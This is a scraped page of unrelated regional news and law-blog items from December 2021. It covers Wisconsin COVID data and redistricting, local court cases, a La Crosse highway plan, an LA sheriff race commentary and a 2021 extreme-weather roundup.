0 Funny 0 Wow 0 Sad 0 Angry 0 MADISON Unvaccinated Wisconsin residents were more than 12 times likely to die from COVID-19 in November than their fully vaccinated counterparts, according to data released Wednesday by the state Department of Health Services. The likelihood of becoming infected with the coronavirus was three times higher for the unvaccinated in November compared to those who have completed the vaccine series, which was a reduction from October when the unvaccinated were five times more likely to become infected. While case rates rose for both groups, the vaccine continued to provide protection against severe illness last month as the not fully vaccinated were 10.8 times more likely to be hospitalized for COVID-19. That figure held steady from data DHS released for October. The chance of dying remains much lower if someone is fully vaccinated. But it has dropped from 18.8 times higher and 15.2 times higher for the unvaccinated recorded in September and October, respectively, to 12.5 higher in November. Statewide, 57.5% of eligible residents are fully vaccinated, according to DHS. Children ages 5 to 11 were given the green light by DHS in early November to receive pediatric-sized doses of the Pfizer-BioNTech vaccine. The new data, which the state health agency releases once a month, comes as Wisconsin contends with COVID-19 admissions, particularly among the unvaccinated, filling hospital beds and warnings to remain vigilant against the coronavirus as a new variant, omicron, continues to be studied. In November, there were 1,233.2 cases, 17.1 hospitalizations and 2.8 deaths per every 100,000 fully vaccinated residents, according to the DHS data, which is age-adjusted. Among the not fully vaccinated, the figures for last month stood at 3,348.2 cases, 184 hospitalizations and 35 deaths per 100,000 residents. The seven-day average of new cases lulled in October following a delta variant-driven surge that began in the summer. But the case rate grew in November and is continuing an upward trend through the first half of December. Wisconsin reported 5,823 new cases of the coronavirus on Dec. 9, which is a record high for 2021, and the seven-day average as of Tuesday was 3,740 daily cases. The seven-day average of daily deaths is 23. The number has grown this fall, but it remains more than half of the peak experienced last December. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Democratic Gov. Tony Evers on Wednesday proposed a new set of 10-year political maps that would change boundaries even less than the Republican proposal, while narrowing but not reversing the states GOP legislative majorities. Evers maps come two weeks after the Wisconsin Supreme Court decided 4-3 to follow Republicans request for a least-change approach to creating new maps. Such an approach made the boundaries drawn by the governors Peoples Maps Commission, which he created last year to provide a citizen-led alternative to the Republican maps, unlikely to pass muster because they deviated heavily from current maps. The maps Im submitting today are an improvement from the gerrymandered maps we have and the Republican maps I vetoed last month, Evers said in a statement. But I want to be clear: The people of Wisconsin overwhelmingly support nonpartisan redistricting in this state, and I will continue to fight for a nonpartisan redistricting process as long as Im governor. By applying the average of six statewide elections since 2016, Evers new maps would elect 44 Democrats and 55 Republicans in the Assembly, and 13 Democrats and 20 Republicans in the Senate. In Congress, Republicans would win five seats to Democrats three, according to Evers office. Republicans currently hold a 61-38 majority in the Assembly and a 21-12 majority in the Senate. Five of the states eight congressional districts are held by Republicans. The governors Assembly map would move 14.21% of the population in the Assembly, compared with 15.84% in the GOP proposal. Evers Senate map moves 7.83% of the population, compared with 7.79% in Republicans map. For Congress, 5.5% of the population would be moved under Evers proposal, compared with 6.52% under maps drawn by Republicans, according to information provided by Evers office. Evers said his maps also comply with the federal Voting Rights Act and create a seventh Black majority-minority Assembly district. He also said his maps are significantly less gerrymandered than the states current maps and the maps proposed by the Legislature. Evers vetoed GOP-drawn maps in mid-November and has championed boundaries drawn by the Peoples Maps Commission, but those maps have failed to get universal support among legislative Democrats, with some criticizing the boundaries for potentially diminishing Black and Hispanic representation in the Legislature. Now Governor Evers has abandoned his campaign rhetoric promising for independently drawn maps to rapidly and secretly draw his own rigged maps without public input, Assembly Speaker Robin Vos, R-Rochester, and Senate Majority Leader Devin LeMahieu, R-Oostburg, said in a joint statement. The hypocrisy of the governor is impossible to ignore. Head to head Evers new maps would see six incumbent Republicans in the 99-member Assembly facing off in newly drawn districts. Those include Sens. Alberta Darling, of River Hills, and Dale Kooyenga, of Brookfield, in the proposed new 8th Senate District; Reps. Daniel Knodl, of Germantown, and Barbara Dittrich, of Oconomowoc, in the new 24th Assembly District; and Reps. Chuck Wichgers, of Muskego, and Cody Horlacher, of Mukwonago, in the new 83rd Assembly District. Proposed GOP-drawn maps would also include three pairings of incumbent Republicans, all in the Assembly. Reps. Joe Sanfelippo and Mike Kuglitsch, both of New Berlin, would compete in the new 15th District; Ken Skowronski, of Franklin, and Wichgers would both run in the new 82nd District; and Shannon Zimmerman, of River Falls, and Warren Petryk, of the town of Washington, would face off in the new 93rd District. Under Evers proposal, more than 138,000 voters would be relocated from odd-numbered Senate districts to even-numbered districts, according to a review of Evers maps by Jeanne Clelland, a professor in the University of Colorado Boulders department of mathematics. The GOP proposal would move a similar number of voters about 100 fewer from odd-numbered districts to even-numbered districts. With state senators serving staggered four-year terms, those voters would not be able to vote in a state Senate election until 2024. Evers Senate map would split 45 counties and 118 municipalities, compared with 42 counties and 28 municipalities in the GOP-drawn map. For the Assembly, both maps would split 53 counties, while Evers proposal would split 174 municipalities, compared with 48 split municipalities in the Republican map. Congressional boundaries proposed by the governor would split 12 counties and 47 municipalities, compared with 10 counties and 24 municipalities under the GOP proposal. Deadline nears Wednesday is the deadline for parties to submit map proposals. The state Supreme Court plans to conduct a hearing and take arguments on the matter starting Jan. 18. The hearing process could take several days. The courts conservative majority also said it will not consider partisan balance when drawing legislative maps, and instead ruled that, like the U.S. Supreme Court, the Wisconsin Supreme Court has no standard to judge whether maps present an unfair partisan advantage. Where does it end? said Assembly Minority Leader Gordon Hintz, D-Oshkosh. Those decisions were so extreme and reduced the accountability of how a democracy works that they could do this into perpetuity. Republicans have said maintaining the core of existing boundaries disenfranchises the fewest number of voters, but Democrats and proponents of nonpartisan legislative boundaries have criticized the proposal as an attempt to bake in GOP-friendly districts for the states next 10-year maps. Sachin Chheda, director at the Fair Elections Project, said in a statement the courts decision to follow a least-change criteria is total bunk and not supported by statute or the constitution. While Chheda agreed with Evers that the court should follow a nonpartisan process to drawing maps, he added that maps proposed Wednesday by the governor are fairer, more compliant with state & federal law and redistricting criteria, and even more compliant with the ridiculous least changes criteria than the rigged Republican proposal. If the state high Court rejects these maps in favor of a more egregious gerrymander, it will be yet another proof point that they are more concerned with politics than the law, Chheda added. Kaul hopeful Democratic Attorney General Josh Kaul said on Tuesday the Supreme Courts ruling dealt a serious blow to those seeking a drastic change from maps Republicans drew in secret in 2011, but added its still possible the next maps deviate away from existing boundaries, which have allowed Republicans to hold sizable majorities in the state Senate and Assembly for the last decade. The more we can move from those kinds of maps to maps that are more competitive and are fair, the better, Kaul said. So I remain hopeful that the maps will improve from the current maps, but because of the least-change approach being applied were not going to be able to get from where we currently are to maps that are truly fair. Another lawsuit in federal court also lingers over the states redistricting process. The U.S. Supreme Court last week allowed the suit to proceed, denying a Republican request to dismiss the case. The court earlier this month issued a stay in the Democratic-backed case pending further action by the state Supreme Court. Its unclear if the federal court would take up the matter after the state Supreme Court comes to a final ruling. Federal law Whether the federal court takes up the case hinges on whether the maps drawn by the state Supreme Court comply with requirements in federal law, such as the Voting Rights Act. Kaul also noted that the Freedom to Vote Act, which has been introduced in the U.S. Senate, could have implications on congressional redistricting, if the measure is signed into law. The proposal includes provisions to prevent gerrymandering, among other election-related measures. Evers on Monday joined 16 other Democratic governors in a letter to Senate leadership urging passage of the bill. The Legislature must redraw political lines every decade based on the latest population figures from the U.S. Census Bureau. The mapmaking process can allow a party in power, even without statewide majority support, to create or increase a legislative majority based on how district lines are drawn. Republicans often have downplayed concerns about the practice known as gerrymandering, after an early 19th century political cartoon saying the GOPs success is the result of strong candidates and Democrats being clustered in cities. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 1. Crime. Too much violence, too many shootings. Police have to get a handle on it. 2. Coronavirus. The omicron variant and others to follow threaten the community. 3. Roads. Killeen-area roads are still a mess after last years storm a serious problem. 4.Government. Elections are on the horizon, and voters will have hard choices to make. 5. Unsure. Its hard to say which single issue will stand out at this point. Vote View Results Biden also took an aerial tour of the damage and held a briefing with officials in an airport hangar. Im here to listen, he said. This kind of tragedy, Biden said, either brings people together or it knocks them apart. He added, Theres no red tornadoes and blue tornadoes." Despite the president's push for unity in the face of disaster, his visit to the strongly Republican county, which Donald Trump won by a nearly 4-to-1 margin in 2020 brought out some detractors. Scattered protesters offered up Let's go Brandon chants, used by some conservatives to represent a more vulgar epithet against the president, as Biden arrived. But Biden's stop was met with optimism by many residents, who said they hoped the president would help get their communities back on their feet. I want to see if hes going to help individuals who have been affected by this, said Michelle Anderson, 68, who took cover in her bathtub with her cat when the tornado ripped the roof off the second floor of her apartment building in Mayfield. I hope he does. UW-Madisons Division of Extension and Wisconsin Beef Council will be hosting a set schedule of in-person Beef Quality Assurance (BQA) certification meetings over the coming months. In-person sessions are intended for those who cannot complete the online certification available by going to https://www.bqa.org/ and clicking on Certification.' Farmers are encouraged not to wait until the last minute to earn BQA certification or to recertify, as it is better that a current certification overlaps rather than expires. BQA certification is valid for three years, so producers who certified in 2018-2019 will need to be recertified. Jan. 11, 5:30 p.m., Viroqua Extension Office Meeting Room, 608-637-5276 Jan. 11, 5:30 p.m., La Crosse Admin Center, Basement Room, La Crosse, 608-785-9593 Jan. 11, 5:30 p.m., Sauk County Extension, Baraboo, 608-355-3250 To register for an in-person session, go to https://tinyurl.com/2hr5karf or call one of the County Extension offices listed below. *Note that for all Extension meetings, masks and social distancing may be required. Individuals not willing to comply will be asked to leave. Buyers representing some large packers and processors (including Tyson) only purchase cattle from farms selling beef breed types of finished cattle that are BQA Certified. In addition, JBS requires that producers selling cattle directly to their plants sign an affidavit stating that they are in compliance with all applicable state or national BQA certification and verification programs. National Dairy FARM (Farmers Assuring Responsible Management) certification is considered a BQA equivalent. The packer requirements represent their policy, not that of BQA or the Beef Checkoff program. Farmers with questions about BQA certification requirements should contact their markets or buyers directly. BQA does more than just help beef producers capture more value from their cattle: BQA also reflects a positive public image and instills consumer confidence in the beef industry. When producers implement the best management practices of a BQA program, they assure the cattle they sell are the best they can be. Consumer research, conducted by the Beef Checkoff, showed that learning about BQA made consumers more confident in beef safety and animal welfare and improved positive consumer perceptions of how cattle are raised for food. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A 28-year-old La Crosse man has been sentenced to five years in federal prison for illegal gun possession. Antwan Taylor pleaded guilty in federal district court Sept. 13 to being a felon in possession of a firearm. The sentence handed down by Judge James D. Peterson also includes three years of supervised release. According to federal prosecutors, Taylor fired multiple shots from a Taurus 9 mm handgun while inside a gray minivan in La Crosse Aug. 24. Multiple residents reported bullet hole damage to their homes, and one of the bullets entered an occupied bedroom. La Crosse police located Taylor the following day and identified him as the shooter. Taylor was prohibited from possessing a firearm based on multiple prior felony convictions, including drug trafficking and battery. Taylors conviction was the result of an investigation conducted by the La Crosse Police Department and Bureau of Alcohol, Tobacco, Firearms and Explosives. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A state commission unanimously approved a proposal on Wednesday to move forward with a plan to reconstruct three major highways in La Crosse as a way to improve the regions north-south corridor. It marks one of the first few steps of abandoning a previous plan that would have constructed a new highway through the La Crosse River Marsh, which had been in a holding phase for decades. The state Transportation Projects Commission gave approval to the Wisconsin Department of Transportation to continue using the existing enumeration, or budget categorization, of that project to now pursue this new route. Obviously its an important project that has not proceeded to construction since being enumerated over 20 years ago, and we believe that new direction is needed, said Gov. Tony Evers, the commission chair, who said the new approach addresses the needs of the community. The new plan would improve U.S. Highway 53 and state Highways 16 and 35 in La Crosse, three existing north-south thoroughfares. Along the way, officials would look to improve certain intersections and theres the possibility to increase the mobility of bicyclists and pedestrians along the routes. The approach here is to fix what we have. Were not looking at building new roads, said Justin Shell with the DOT. Officials have said it is a win-win for the region in order to improve traffic flow and safety without compromising the marsh, which have been the dividing factors of the project for decades. There has not been any design work done for the project yet, and while there is no exact timeline or price tag, officials did say that early estimates showed the project costing about $200 million to $250 million. And officials said while the funding program that would help support this project is full through fiscal year 2027, waiting until after that could work out fine because studies and other work needs to be done before construction can begin. Staff emphasized that this project did not change the why of the project, but only the how. This new approach stays consistent with the original project that was enumerated in 1997, officials said, because it still focuses on improving north-south traffic flow, safety and pavement condition. But instead of constructing a brand new road, it will focus on the three existing corridors, which were already components of the original project. Weve always looked at this project as studying multiple corridors in the La Crosse region, Shell said. Working under that same project categorization makes the most sense from a money and timeline perspective, officials said. If this new approach would have been scrapped as an enumerated major project with the state, the reconstruction of each highway would instead need to be brought up as individual projects through the State Highway Rehabilitation program where it would likely have to compete with other projects in the region, take longer and cost more. Staff said that this new approach to the corridor issue was a result of a request from Wisconsin Transportation Secretary Craig Thompson to take a fresh look at the states major projects, specifically La Crosse. This is a project, Thompson told the commission, that has been out there for decades. The need that was identified almost 30 years ago is real but we think theres an alternative that can solve it thats different that can fit the community needs. Thompson said that officials have met with community members and that the new approach was universally supported by groups that had previously been in opposition. Now that the TPC has given the OK, staff will be able to put some plans in motion by beginning environmental studies and engaging with the public on the scope of the plan. It will likely be several years before any engineering or designing will be complete or construction started. Love 8 Funny 1 Wow 0 Sad 0 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Diana Dundukova might have been born for business. As a preteen in her western Ukraine town, she recalls selling her toys and magazines to other kids in the neighborhood. Some of the money she earned from that first business venture, she suspects, was used to help pay for plane tickets when she emigrated to western Wisconsin at age 10 with her parents, Igor and Nataliya, and her older brother, Dmytro. Blessed with an artistic bent, Dundukova flirted with the idea of going into acting after graduating from Gale-Ettrick-Trempealeau High School in 2018 before deciding to study graphic design at Western Technical College. At Western, her studies sparked an interest in marketing, and she decided to take advantage of the 2+2 program and transfer to Viterbo University to complete her bachelors degree. That program made the transfer process seamless, she said, and the transfer student scholarship made Viterbo a good fit with her plans to graduate from college with little to no debt. Now shes about to graduate (a semester early, no less) from Viterbo with a bachelors degree in marketing and plans to earn a Master of Business Administration degree with an emphasis in strategic management. Long range, she envisions herself as an international business strategist, consulting with global businesses to help them find the best strategies to succeed. I am very excited for my future, and I am also very fortunate that I found my passion right away, Dundukova said. I dont think many individuals at 21 can map out their next 10 years, but I feel that I can get very close to what I want my life to look like. Dundukovas interest in strategic business came during a Viterbo class taught by Jeffery Nyseth. That class was very eye opening, she said. It made business bigger for me, thinking about how you make a business successful in another country. Nyseth had Dundukova, a first-generation college student, in several other marketing classes, and its easy for him to envision her becoming an international business strategist or anything else she would decide to do. She is a great student and really represents the finest attributes of an outstanding, motivated student and peer leader, he said. Looking back, a job shadow she did in high school with the creative director at Mistys Dance Unlimited was a key turning point for Dundukova, inspiring her interest in graphic design as a step toward becoming a creative director herself. She began working for dance studio owner Misty Lown a few months after her job shadow, and upon graduation she has a full-time job lined up with Lowns More Than Just Great Dancing, a business that helps affiliated studios on three continents achieve the kind of success Lowns dance studio business has had. I think the big thing about Misty is leadership, and Ive been blessed to have a great job working for someone who has a mission, Dundukova said. Im super fortunate to work among very inspirational women. It motivates you to be successful and reach for something more. Meanwhile, Lown feels fortunate to have Dundukova on her team, too, saying she brings three important traits to the entrepreneurial arena: humility, hunger and intelligence. She is eager to contribute to the success of the team and doesnt care who gets the credit so long as the job is done well. I love that! Lown said On the hungry side, she is so eager to learn and grow. She spends time outside of her role requirements researching new skills or trends that would benefit the team or clients. As for the smart part? Well, you only have to meet her to see that! Lown describes Dundukova as one of a kind. Her eyes literally sparkle when she talks about all she is learning at school and creating in life, Lown said. We recently had a new role open up for a leadership position on a new product. She volunteered to take it on, which is a big undertaking. The role requires a whole new skill set, but I dont have any worries. Diana will figure it out! Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A former Spring Green woman appeared in Sauk County court on Tuesday via zoom to plead no contest of charges of child neglect in the death of her 13-month-old daughter. She was scheduled to be sentenced, but Judge Michael Screnock ordered a pre-sentence investigation to be conducted before moving forward with sentencing. Mariah Gay, 23, is facing one count of child neglect, bodily harm as consequence, a class H felony, in Sauk County. The initial charge was neglecting a child, consequence is death, a class D felony. On Tuesday morning Gay appeared via zoom for the plea hearing. She was deemed incompetent to stand trial by Dr. Craig Schoenecker in January, but has now been deemed competent following a psychologists report submitted to the court in May. Assistant District Attorney Rick Spoentgen announced a plea agreement had been reached. He said in court the defense and prosecution agreed on withheld sentence which Gay would serve three years of probation. Screnock ordered a pre-sentence investigation to be conducted by the Wisconsin Department of Corrections after he said there were concerns of Gay taking responsibility for her actions in submitted victim impact statements. Screnock said the competency report filed in May does not address Gays responsibility in the incident. The investigation will be filed by Feb. 11 which will give Gays attorney, Allison Markoski, time to review it and possibly submit an alternative presentence investigation to the court before the sentencing hearing. According to the criminal complaint, Gay was charged with negligence in the death of her 13-month-old daughter after a man found the toddler in the early morning hours in February 2019. The child was having trouble breathing and the man said she had 30 seizures in about five minutes. He also noted she had fixed, dilated pupils. Responders found a residue later identified as Flaming Red Hot Cheetos on the childs mouth and fingers. She died while being taken via ambulance to UW Hospital in Madison. Autopsy results found the child died after a massive ingestion of bupropion, which is an anti-depressant prescribed to Gay. Two other residents of the Sauk County home went into the basement where Gay lived at the time and found a messy space, with dirty diapers on the dresser, Cheetos piled up in the crib and no sheets on the bed. They found pills throughout the area and bagged them. Detectives later found a prescription bottle with its top off and pills on a pile of childrens toys and clothing. Gay told police she arrived home after midnight after working at a local gas station and had put her bag, which held her medications, on her dresser. She said she knew the toddler could climb out of the crib where she slept. Roughly four hours later, Gay went upstairs to ask the other residents there for help because the child was having seizures. She said she assumed the child had pulled the bag down and gotten into its contents, including the prescription and Cheetos, while Gay was asleep. The sentencing hearing is scheduled for March 18. Screnock said Gay needs to present in person for that hearing. Gay was facing 25 years in prison and fines up $100,000 for the initial charge of child neglect resulting in death, but now faces six years in prison with fines up to $10,000 for the lesser charge of child neglect, resulting in bodily harm. Gay continues to be held on $10,000 signature bond which was set in October 2020. MILWAUKEE The attorney for a Wisconsin woman sentenced to 20 years in prison on accusations she illegally prescribed opioids out of her pain clinic plans to appeal on grounds that a federal judge made a mistake. U.S. District Chief Judge Pamela Pepper handed down the mandatory minimum sentence Friday for Lisa Hofschulz, 61, of Wauwatosa, after a jury in August convicted her of conspiracy to distribute controlled substances. The jury found Hofschulz, who was a licensed nurse practitioner, responsible for the death of one patient. Beau Brindley, Hofschulz's attorney, told The Associated Press that Pepper failed to instruct the jury that a doctor's "subjective good faith is a complete defense against these charges." Brindley said a similar instruction was allowed in a case involving Dr. Charles Szyman, the operator of a Manitowoc pain clinic who was acquitted in 2017 of overprescribing narcotic medications. Hofschulz and her ex-husband, Robert Hofschulz, owned and operated Clinical Pain Consultants in Wauwatosa. The indictment accused them of collecting more than $800,000 in 2015 and $1 million in 2016 by prescribing excessive dosages of opioids, particularly oxycodone and methadone, for no medical purpose. Robert Hofschulz, who was the clinic's business manager, was sentenced on Friday to three years in prison. His attorney, Jonathan Smith, did not return an email message seeking comment. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 In the months following his entrance into the Sheriffs contest, Rhambo, who underwent an immense background check and vetting process from the FBI, Homeland Security and City of Los Angeles before becoming LAX Airport Police Chief, has hammered the incumbent on a near-daily basis on deputy gangs . Rhambo has made the core of his campaign including multiple videos about his plans to end the deputy gangs. He additionally is supported by the elected officials who are leading the charge against these types of police gangs. Steve Bradford, Chair of the California Legislative Black Caucus, who authored SB 2, Californias police decertification law, and Assembly Democratic Caucus Chair, Mike Gipson, who authored AB 985, which provides a legal framework to ban police gangs altogether, both backed Rhambo last summer . Rhambo also worked with the two lawmakers in crafting their groundbreaking legislation. Spectrum interview, Rhambo stated, This is eerily reminiscent of a time in which people of color had to really be examined like cattle before a sale. But I felt compelled that, you know, because people said he might have tattoos that depict deputy gang involvement on other parts of his body. And clearly I do not. Clearly, Rhambos next actions underscored the fact that he felt compelled to go further in proving that Villanuevas text messages were false when he took an extraordinary step and gave the Los Angeles Times and Spectrum News a video showing himself shirtless baring his full upper body on television to show the lack of gang tattoos. In theinterview, Rhambo stated, This is eerily reminiscent of a time in which people of color had to really be examined like cattle before a sale. But I felt compelled that, you know, because people said he might have tattoos that depict deputy gang involvement on other parts of his body. And clearly I do not. While the text messages were patently false, Sheriff Villanueva undeniably sent them in a last-minute attempt to prevent the L.A. County Democratic Party from endorsing Rhambo for Sheriff in the upcoming June 2022 primary election. Regardless, earlier this week, the party announced that the LAX Police Chief had earned 68% of the vote among the partys Screening and Early Endorsement Recommendation (SEER) Committee, landing Rhambo a highly coveted recommendation for the full Democratic Party endorsement, which is set for a vote mid-January of 2022. Whats next? This week. First, the obvious conflict of interest issue here, in which Knock LA was conceived by and is affiliated with Ground Game LA, which literally runs campaigns and works to elect their chosen political candidates to office. Thus at the onset, this begs the question of objectivity overall with the entire Knock LA blog platform. Secondly, the Knock LA blog neglected to include the fact that Rhambo, as he has affirmed repeatedly, including multiple times on television by revealing his body clothes-less to prove he has no gang tattoos, is not, and has never been, a member of a deputy gang or clique. There is also no concrete evidence to suggest otherwise. Thirdly, the blog uses innuendo and implies that simply because the candidate was named in a broader LASD lawsuit or within the scope of an investigation into the LASD, he is guilty even though Rhambo was never charged with any crime nor was he personally found liable or guilty of any misconduct. This is an important note as since leaving the LASD, Rhambo had to pass an extensive vetting process, which included reviews of his tenure at LASD, with the FBI and U.S. Homeland Security, among other agencies. Lastly, while its unclear when exactly the interview took place, on day one of Rhambos campaign, the candidate outlined on his website how he would end deputy gangs . Nonetheless, the blog selectively quoted the candidate only saying, theres not much I can do to you unless you violate policy or the law. Knock LA leaves out the fact that both the Bradford and Gipson bills were signed into law with Rhambos help , meaning that members of deputy gangs can now be properly held accountable. Essentially, it also means that Rhambo helped create the legal mechanisms to solve the deputy gang problem. Rhambo has frequently, and publicly, made clear that we would enforce the new laws effectively ending the reign of deputy sheriffs at the department. Whats worse? A failed incumbent sheriff who is desperate to maintain power lying about a lifelong public servants record? Or a blog conceived by what amounts to be a political campaign apparatus but which portends to be something else painting only half of a picture of Rhambo in an attempt to sow the seeds of innuendo and insinuations? The answer? Both. Wednesday, December 15, 2021 The Minnesota Supreme Court affirmed a district court's finding that a report prepared by outside counsel was not protected by attorney-client privilege. The report had been provided inadvertently in discovery and a "claw back" motion had been filed The underlying litigation in this case involves a product-liability lawsuit brought by respondent Colby Thompson against appellant Polaris Inc. Before this litigation began, Polaris was subject to a government safety investigation and potential enforcement action under federal consumer product safety laws. Polaris retained outside counsel to conduct an audit into its safety processes and policies. After completing the audit, the lawyers provided a 32-page report, which included recommendations to improve compliance performance. Polaris inadvertently disclosed the audit report during discovery in the product-liability litigation with Thompson. Polaris then sought to claw the document back, asserting that the report is protected by the attorney-client privilege. Finding that the predominant purpose of the report was business advice, not legal advice, the district court denied the claw-back request while permitting redactions of the legal advice in the report. Polaris then sought a writ of prohibition to prevent disclosure of the report. The court of appeals denied the writ of prohibition, and Polaris sought further review. At issue here is whether the report in its entirety is protected by the attorney-client privilege. Because we conclude that the district court did not clearly err by finding that the predominant purpose of the report is business advice, we affirm the denial of the writ of prohibition. We also deny Thompsons motion to dismiss the appeal for lack of jurisdiction. Holding we hold that, when a document contains both legal advice and business advice, for the attorney-client privilege to apply to the document in its entirety, the predominant purpose of the communication must be legal advice. The privilege does not protect the entirety of the document if legal advice is merely one purpose and not the primary purpose of the communication. See Harrington, 144 A.3d at 416 & n.7. We stress, however, that even when the predominant purpose of the communication is business advice, the attorney-client privilege will protect any portions of the document that contain legal advice. Standard of review The special master found that the predominant purpose of the audit report was giving business advice, reasoning that the report was distributed to Polaris management and the board of directors to implement operational changes. The report addresses the organizational culture of Polaris and discusses the areas of product design, engineering, and manufacturing practices, with the express goal of improv[ing] the process Polaris uses to assess safety risks. The special master essentially determined that the primary purpose of the report was setting corporate policy. We conclude that the special master did not clearly err in finding that these aspects of the report address business matters. Justice Anderson dissented I agree with the courts reasoning regarding our jurisdiction, the predominant purpose test, and the standard of review. But I disagree with the courts conclusion that the report drafted by Crowell & Moring LLP (the Report) provides predominantly business advice and therefore is not subject to the attorney-client privilege in its entirety. Appellant Polaris, Inc. (Polaris) sought professional assistance after receiving notice of an investigation from the Consumer Product Safety Commission (CPSC) regarding alleged violations of the Consumer Product Safety Act (CPSA). Polaris specifically desired legal advice regarding compliance weaknesses and how to successfully address those weaknesses. To that end, Polaris did not hire a business consultant; nor did it retain an engineer, a public relations expert, or an operations analyst. The company hired an attorney; specifically, Polaris retained the former general counsel of the very government agency investigating itthe CPSC. That attorney, Cheryl Falvey, along with her law firm, Crowell & Moring, investigated Polaris for CPSA compliance issues and, in a 32-page Report, provided recommendations on how to address those issues. Polaris did not ask Falvey for her input on better engine design. And Polaris did not ask fornor does the Report provideadvice on how to run its business more profitably. Despite Falveys expertise in CPSA compliance, the Reports findings and recommendations regarding the regulatory environment for CPSA compliance, and its dearth of advice on how to increase the profitability of Polaris, the court concludes that the predominant purpose of the Report is business advice and, therefore, the Report is not entirely privileged. Not only is the courts conclusion wrong, but it will also frustrate attorney-client relations, discourage businesses from seeking legal advice, and require lawyers to pepper client communications with legalese and superfluous citations. I respectfully dissent. Chief Justice Gildea joined the dissent. (Mike Frisch) https://lawprofessors.typepad.com/legal_profession/2021/12/predominant-purpose-was-business-advice.html Wednesday, December 15, 2021 The Georgia Supreme Court accepted the license surrender of an attorney In his petition, Zeh, who has been a member of the Georgia Bar since 2001, admits that on August 16, 2021, in the Superior Court of Glynn County, he entered an Alford plea to one count of aggravated assault and one count of simple assault. He was sentenced under the First Offender Act, see OCGA 42-8-60, and given a total sentence of five years to serve on probation, with credit received for time previously served in custody from August 21, 2019, to April 17, 2020. The Brunswick News reported on the criminal proceedings A Glynn County grand jury issued the indictment in November, charging him for actions committed in four different incidents. The first, in November 2018, allegedly involved three acts of sexual battery, along with one count each of simple battery, simple assault, aggravated assault in violation of the state Family Violence Act, and false imprisonment. The second incident, in July 2019, allegedly resulted in robbery by force, theft by taking, false imprisonment and two counts of aggravated assault in violation of the state Family Violence Act. In August 2019, Zeh allegedly committed two acts of aggravated assault in violation of the state Family Violence Act, battery, robbery by sudden snatching and kidnapping. Defense attorney Tom Withers cited caselaw which he said indicated dragging someone several feet wasnt enough to satisfy the criminal law definition of kidnapping. Prosecutor Sharla Jackson played a recording of the specific alleged incident, made by cameras the victim had installed in her St. Simons Island residence. According to the indictment, the video showed that Zeh held the woman against her will when he dragged her from her home laundry room by pulling her left leg while she lay on her back on the floor into the hallway of her home, then straddling her to restrict her movement, then pushing her back to the floor when she attempts to rise, then dragging her by her arms, pulling her to stand upright and then pushing her backwards again away from the laundry room. Glynn County Police Investigator Parker Marcy testified that 17 of the 18 charges against Zeh are backed up with evidence detailed in the videos recorded at the victims home. The 18th charge is for influencing a witness. Zeh allegedly instructed the victim to contact the magistrate judge and fix it. Withers said the victim was the first to use the phrase fix it in the series of text messages between the pair. As revealed through testimony Thursday, the victim, aided by police, used that particular conversation as a method to try to discover Zehs location so police could arrest him. A number of Zehs family and friends testified as character witnesses on his behalf. They and more than a dozen others also submitted letters to the court on Zehs behalf. The letters all described a similar sentiment as expressed by Dr. James Snow. Snow, a family friend who, according to testimony, is like a second father to Zeh, said on the stand and in his letter how his son, Zeh, and their families have been close for more than 40 years. While we do not understand how what we heard in court could describe our other son, we can only offer that he is caring, kind, compassionate and funny, Snow wrote in a letter to the court. He is tied to his birth family, to his wife and children, and to his love for his work. I do not believe that his gaining bond would result in his leaving the Brunswick area. His respect for the courts and his self-respect would not allow him to do so. Prosecuting attorney Jackson countered several times during the hearing that Zeh showed disrespect for the court. While on probation and prohibited from consuming alcohol, he allegedly got intoxicated and assaulted the victim 20 days after his probation sentence, Jackson said. That sentence came after he pleaded guilty to reckless driving, which carried a lesser penalty than the original DUI charge. Because of Zehs lengthy professional and personal life in the county, local prosecutors and judges recused themselves. Jackson, a domestic violence and sexual assault resource prosecutor with the state Prosecuting Attorneys Council, was apointed to the case with Sheila Ross, director of capital litigation for the council. Judge David Cavender is the presiding judge. A motions and pretrial hearing is scheduled for Aug. 18. Jury selection will be on Sept. 21 if the case goes to trial. (Mike Frisch) https://lawprofessors.typepad.com/legal_profession/2021/12/the-georgia-supreme-court-accepted-the-license-surrender-the-brunswick-news-reported-on-the-criminal-proceedings-a-well-.html Extreme weather events in 2021 have broken records around the world. Hundreds died in storms and heatwaves. Farmers struggled with drought, and for some, extreme cases of insects. Wildfires set new records for carbon output. Fires destroyed forests, towns, and homes. Many of these events were worsened by climate change. Scientists say there are more to come, and worse, as the Earths atmosphere continues to warm through the next ten years and beyond. Here are some of the events over the last year: February: Kenya and other parts of East Africa battled some of the worst locust plagues in tens of years. A locust is a kind of insect that eats crops. The insects destroyed crops and grasslands meant for animals. Scientists say that unusual weather worsened by climate change created good conditions for the insects to expand. March: Beijings sky turned orange and flights were grounded during the Chinese capitals worst sandstorm in ten years. Busloads of volunteers arrive in the desert each year to plant trees, which can help the soil and reduce the effects of wind. Scientists predict climate change will worsen the growth of deserts, or desertification, as hotter summers and drier winters reduce moisture levels. June: Hundreds died during a record-breaking heatwave in the United States and the Canadian Pacific Northwest, which scientists said would have been virtually impossible without climate change. Over several days, power lines melted and roads became mis-shapen. Cities struggled to deal with the heat. They opened cooling centers to protect the locals. During the heat wave, Portland, Oregon, hit an all-time record high of 46.7 Celsius. July: Large parts of South America suffered from a prolonged drought. Chile is dealing with a ten-year-long megadrought linked to climate change. This year, Brazil saw one of its driest years in a century. In Argentina, the Parana, South Americas second-longest river, fell to its lowest level since 1944. Around the world, heatwaves are happening more often and are becoming more severe. August: Nearly all the worlds mountain glaciers are shrinking due to climate change. In the Alps, Swiss hotel workers placed protective cloth over one of Mount Titliss glaciers during the summer months to keep what ice is left. Switzerland has already lost 500 of its glaciers. The government said it could lose 90 percent of the 1,500 that remain by the end of the century if world carbon output continues to rise. September: Structures and homes in Russia are increasingly in danger as underground permafrost melts and damages the land under them. Permafrost was once a good building base, in some areas staying frozen as far back as the last Ice Age. 